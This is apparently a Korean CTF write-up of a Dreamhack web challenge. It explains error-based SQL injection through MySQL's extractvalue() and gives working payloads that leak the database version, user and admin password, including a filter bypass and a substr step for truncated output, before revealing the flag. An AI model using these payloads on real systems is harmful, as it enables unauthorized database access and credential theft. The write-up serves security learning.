error based 를 이용하여 admin에 해당하는 upw를 찾으면 된다. 

error based 에서 사용할 수 있는 기법

1. extractvalue() 함수 이용

2. 수용가능한 double 값 이상의 값 넣어서 에러 발생시키기

 

가장 이해가 안되었던  기법  : extractvalue() 

extractvalue()함수는 2개의 인자가 필요하다.
첫번째 인자에는 xml 코드가, 두번째 인자에는 xpath 식이 들어간다.
이때, 두번째 인자인 xpath 식이 올바르지 않다면 에러 메시지에 에러 메시지에 삽입한 식의 결과가 그대로 출력된다.
이 점을 이용해서 DB정보 확인이 가능하다는 것.

첫번째 인자 : 1

두번째 인자 :  concat( 0x3a , (select password from users where usernam='admin') )

여기서 0x3a는 : 를 의미한다. : 를 사용하는 이유는 올바르지 않은 xpath 표현식이 되도록 하기 위함이다. 
즉, xpath 식 자리에  [  : #@$@!!~ ]  이런 양식이면 error를 발생한다는 점이다.

에러 메시지를 출력하면서 select문이 자동 실행됨을 이용한 취약점이다.

 

본론으로 돌아가서 이 extractvalue() 함수를 이용해서 문제를 풀어보았다.

payload : ' and extractvalue(1,concat(0x3a, version()));--

입력값에 위 payload 입력시 : 뒤에 DB 서버 버전 정보가 노출됨을 알 수 있다.

payload : ' and extractvalue(1,concat(0x3a, user()));--

현재 db의 유저 정보도 확인 가능하다.

 

mariaDB는 Mysql 계열이기 때문에 select 없이도 쿼리가 실행가능하다. 단, 괄호 필수

payload : ' and extractvalue(1,concat(0x3a, (select version())));--

payload: ' and extractvalue(1,concat(0x3a, (select upw from user where uid='admin')));--

단, 만약 입력값에 admin 문자열을 필터링하고 있다면... 

' and extractvalue(1,concat(0x3a, (select upw from user limit 0, 1)));--

limit 0, 1을 이용해서 admin을 찾아야 한다. 

보통 테이블에서 첫번째열은 id, 두번째열은 pw이므로....

 

 

flag값이 잘 보이는 듯.///

했지만 뒷 부분이 짤렸다ㅠㅠ

그러면 substr을 이용해서 한글자씩 찾아보자

 

payload :  ' and extractvalue(1,concat(0x3a, (select substr(upw,1,1) from user where uid='admin')));--

맨 첫 글자가 잘 나옴을 확인하였다. 뒷 부분을 찾아보자.

DH{c3968c78840750168774ad951 여기까지 총 28자리이므로, 뒷 부분이 더 있는지 확인한다.

payload : ' and extractvalue(1,concat(0x3a, (select substr(upw,28,30) from user where uid='admin')));--

28자리부터 어디까지 있는지 모르지만 28에서 부터 30만큼 떨어진 문자까지 모두 출력하도록 하였다.

28자리가 1이므로 이어붙이면 된다.

 

DH{c3968c78840750168774ad951fc98bf788563c4d}

 

solve!!!!!!!!

'WEB > Dreamhack' 카테고리의 다른 글

[WEB-dreamhack] PHPreg  (0) 2024.01.24
[WEB-dreamhack] blind-command  (0) 2024.01.24
[WEB - Wargame] login-1  (0) 2022.02.04
[WEB - Wargame] devtools-sources  (0) 2022.02.03
[WEB - Wargame] Tomcat Manager  (0) 2022.02.03

+ Recent posts